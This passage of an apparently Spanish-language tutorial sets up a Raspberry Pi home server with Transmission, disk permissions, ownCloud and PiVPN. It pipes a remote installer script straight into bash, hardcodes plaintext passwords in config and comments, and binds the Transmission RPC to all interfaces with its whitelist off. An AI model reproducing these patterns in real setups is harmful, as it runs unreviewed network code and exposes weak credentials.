&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;span class="lnt">61
&lt;/span>&lt;span class="lnt">62
&lt;/span>&lt;span class="lnt">63
&lt;/span>&lt;span class="lnt">64
&lt;/span>&lt;span class="lnt">65
&lt;/span>&lt;span class="lnt">66
&lt;/span>&lt;span class="lnt">67
&lt;/span>&lt;span class="lnt">68
&lt;/span>&lt;span class="lnt">69
&lt;/span>&lt;span class="lnt">70
&lt;/span>&lt;span class="lnt">71
&lt;/span>&lt;span class="lnt">72
&lt;/span>&lt;span class="lnt">73
&lt;/span>&lt;span class="lnt">74
&lt;/span>&lt;span class="lnt">75
&lt;/span>&lt;span class="lnt">76
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s1">&amp;#39;{
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-down&amp;#34;: 20000,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-time-begin&amp;#34;: 540,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-time-day&amp;#34;: 127,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-time-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-time-end&amp;#34;: 1020,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;alt-speed-up&amp;#34;: 500,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;bind-address-ipv4&amp;#34;: &amp;#34;0.0.0.0&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;bind-address-ipv6&amp;#34;: &amp;#34;::&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;blocklist-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;blocklist-url&amp;#34;: &amp;#34;https://github.com/sahsu/transmission-blocklist/releases/download/1.0.0/blocklist.gz&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;cache-size-mb&amp;#34;: 4,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;dht-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;download-dir&amp;#34;: &amp;#34;/media/HDD&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;download-limit&amp;#34;: 100,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;download-limit-enabled&amp;#34;: 0,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;download-queue-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;download-queue-size&amp;#34;: 6,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;encryption&amp;#34;: 1,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;idle-seeding-limit&amp;#34;: 30,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;idle-seeding-limit-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;incomplete-dir&amp;#34;: &amp;#34;/media/HDD/tmp&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;incomplete-dir-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;lpd-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;max-peers-global&amp;#34;: 200,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;message-level&amp;#34;: 1,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;open-file-limit&amp;#34;: 32,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-congestion-algorithm&amp;#34;: &amp;#34;&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-id-ttl-hours&amp;#34;: 6,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-limit-global&amp;#34;: 200,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-limit-per-torrent&amp;#34;: 50,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-port&amp;#34;: 51413,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-port-random-high&amp;#34;: 65535,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-port-random-low&amp;#34;: 49152,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-port-random-on-start&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;peer-socket-tos&amp;#34;: &amp;#34;default&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;pex-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;port-forwarding-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;preallocation&amp;#34;: 1,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;prefetch-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;queue-stalled-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;queue-stalled-minutes&amp;#34;: 30,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;ratio-limit&amp;#34;: 1,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;ratio-limit-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rename-partial-files&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-authentication-required&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-bind-address&amp;#34;: &amp;#34;0.0.0.0&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-host-whitelist&amp;#34;: &amp;#34;&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-host-whitelist-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-password&amp;#34;: &amp;#34;raspberry&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-port&amp;#34;: 9091,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-url&amp;#34;: &amp;#34;/transmission/&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-username&amp;#34;: &amp;#34;pi&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-whitelist&amp;#34;: &amp;#34;0.0.0.0&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;rpc-whitelist-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;scrape-paused-torrents-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;script-torrent-done-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;script-torrent-done-filename&amp;#34;: &amp;#34;&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;seed-queue-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;seed-queue-size&amp;#34;: 10,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;speed-limit-down&amp;#34;: 600,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;speed-limit-down-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;speed-limit-up&amp;#34;: 750,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;speed-limit-up-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;start-added-torrents&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;trash-original-torrent-files&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;umask&amp;#34;: 2,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;upload-limit&amp;#34;: 100,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;upload-limit-enabled&amp;#34;: false,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;upload-slots-per-torrent&amp;#34;: 14,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;utp-enabled&amp;#34;: true,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;watch-dir&amp;#34;: &amp;#34;/home/pi/Downloads&amp;#34;,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;#34;watch-dir-enabled&amp;#34;: true
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">}&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee /etc/transmission-daemon/settings.json
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El siguiente paso es establecer los permisos necesarios para que todo funcione correctamente, teniendo en cuenta que al disco se va a acceder por varios usuarios, y se tiene que poder escribir y borrar datos.&lt;/p>
&lt;p>Para hacer esto se va a crear el grupo &lt;em>hdd&lt;/em> al que vamos a meter los usuarios que necesitan tener acceso al disco, que serán &lt;em>pi&lt;/em>, &lt;em>debian-transmission&lt;/em> y &lt;em>backuppc&lt;/em> (en caso de usarse). Al usuario pi que se la a añadir el grupo como secundario, pero al usuario &lt;em>debian-transmission&lt;/em> se le va a poner este grupo como principal, para que al descargar los torrent le ponga permisos del grupo &lt;em>hdd&lt;/em> y así el resto de usuarios tengan permisos sobre estos.&lt;/p>
&lt;p>Finalmente vamos a establecer los permisos 775 en el disco para indicar el los usuarios del grupo &lt;em>hdd&lt;/em> tienen control total:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo addgroup hdd
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G hdd pi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -g hdd debian-transmission &lt;span class="c1"># el grupo principal de debian-transmission tiene que ser HDD para que pi puedas borrar ficheros&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G hdd www-data
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G hdd backuppc &lt;span class="c1"># cuidado que puede que aun no exista&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo usermod -a -G www-data backuppc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown pi:hdd /media/HDD/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod &lt;span class="m">755&lt;/span> /media/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod &lt;span class="m">775&lt;/span> /media/HDD/ -R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mkdir -p /home/pi/Downloads
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown pi:hdd /home/pi/Downloads -R &lt;span class="c1"># debian-transmission permiso leer torrent&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod &lt;span class="m">775&lt;/span> /home/pi/Downloads
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez configurado el servicio, ya podemos iniciarlo, es importante hacer un &lt;em>start&lt;/em> y no un &lt;em>restart&lt;/em>, ya que de este modo la contraseña que se encuentra en texto plano sera sustituida por su hash.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo systemctl start transmission-daemon.service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="owncloud">owncloud&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;span class="lnt">44
&lt;/span>&lt;span class="lnt">45
&lt;/span>&lt;span class="lnt">46
&lt;/span>&lt;span class="lnt">47
&lt;/span>&lt;span class="lnt">48
&lt;/span>&lt;span class="lnt">49
&lt;/span>&lt;span class="lnt">50
&lt;/span>&lt;span class="lnt">51
&lt;/span>&lt;span class="lnt">52
&lt;/span>&lt;span class="lnt">53
&lt;/span>&lt;span class="lnt">54
&lt;/span>&lt;span class="lnt">55
&lt;/span>&lt;span class="lnt">56
&lt;/span>&lt;span class="lnt">57
&lt;/span>&lt;span class="lnt">58
&lt;/span>&lt;span class="lnt">59
&lt;/span>&lt;span class="lnt">60
&lt;/span>&lt;span class="lnt">61
&lt;/span>&lt;span class="lnt">62
&lt;/span>&lt;span class="lnt">63
&lt;/span>&lt;span class="lnt">64
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;ServerName 127.0.0.1&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee -a /etc/apache2/apache2.conf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">my_lang&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="k">$(&lt;/span>cat /etc/default/locale &lt;span class="p">|&lt;/span> grep LANG &lt;span class="p">|&lt;/span> awk -F &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;{print $2}&amp;#39;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sed -E -i.back &lt;span class="s2">&amp;#34;s/LANG\=(.*)&lt;/span>$&lt;span class="s2">/LANG=&lt;/span>&lt;span class="nv">$my_lang&lt;/span>&lt;span class="s2">/g&amp;#34;&lt;/span> /etc/apache2/envvars
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Create a Virtual Host Configuration&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">FILE&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;/etc/apache2/sites-available/owncloud.conf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s1">&amp;#39;Alias /owncloud &amp;#34;/var/www/owncloud/&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">&amp;lt;Directory /var/www/owncloud/&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> Options +FollowSymlinks
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> AllowOverride All
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;lt;IfModule mod_dav.c&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> Dav off
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> &amp;lt;/IfModule&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> SetEnv HOME /var/www/owncloud
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1"> SetEnv HTTP_HOME /var/www/owncloud
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s1">&amp;lt;/Directory&amp;gt;&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> sudo tee &lt;span class="nv">$FILE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo a2ensite owncloud.conf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo a2enmod dir env headers mime rewrite setenvif
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl restart apache2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#Configure the Database&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mysql -u root -e &lt;span class="s2">&amp;#34;CREATE DATABASE IF NOT EXISTS owncloud; \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">GRANT ALL PRIVILEGES ON owncloud.* \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> TO owncloud@localhost \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> IDENTIFIED BY &amp;#39;ppu908#m1&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Download owncloud&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> /var/www
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo wget https://download.owncloud.org/community/owncloud-complete-20200731.tar.bz2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo tar -xjf owncloud-complete-20200731.tar.bz2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown www-data:www-data /var/www/owncloud/ -R
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> /var/www/owncloud/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo mkdir -p /media/HDD/owncloudData/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown www-data:hdd /media/HDD/owncloudData/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chmod &lt;span class="m">700&lt;/span> /media/HDD/owncloudData/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">firefox http://192.168.1.71/owncloud/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#CONFIG OWNCLOUD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#owncloud&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#admin/ppu908#m2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#/media/HDD/owncloudData/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#owncloud&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#ppu908#m1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#owncloud&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo systemctl &lt;span class="nb">enable&lt;/span> apache2 mariadb
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="vpn">VPN&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">curl -L https://install.pivpn.io &lt;span class="p">|&lt;/span> bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>sudo su -c &amp;ldquo;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&amp;rdquo;
sudo sysctl -w net.ipv4.ip_forward=1
